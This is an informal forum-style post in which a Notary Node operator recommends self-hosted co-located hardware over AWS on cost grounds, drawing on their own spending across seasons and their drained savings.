In my opinion, for ANY current and future Notary Nodes, I'd highly recommend to host your OWN HARDWARE in a local Co-location
For BEST outcomes to my opinion.
because that's exactly what I did in my firs season of Notary Nodes
my monthly expenses were 4th of what it was in second season
running own hardware node, locally in NZ, colocated, with a shity internet speed of almost 10 Mbps or sometimes even lower, and my node still did well in season 1
internet speed and ping time has very very little to do with the Notary Node's performance. to my opinion, don't fall for that thinking having fastest servers will do any more good than bit slowest servers.
2
my current situation being done that is I'm out of savings and now cashing out my crypto savings for monthly expenses.
if any of you are using AWS for your Notary Nodes, I'd suggest you to have enough good amount of savings in fiat money already, coz that will save you not cashing out your crypto.
2
which can help making better protfolio.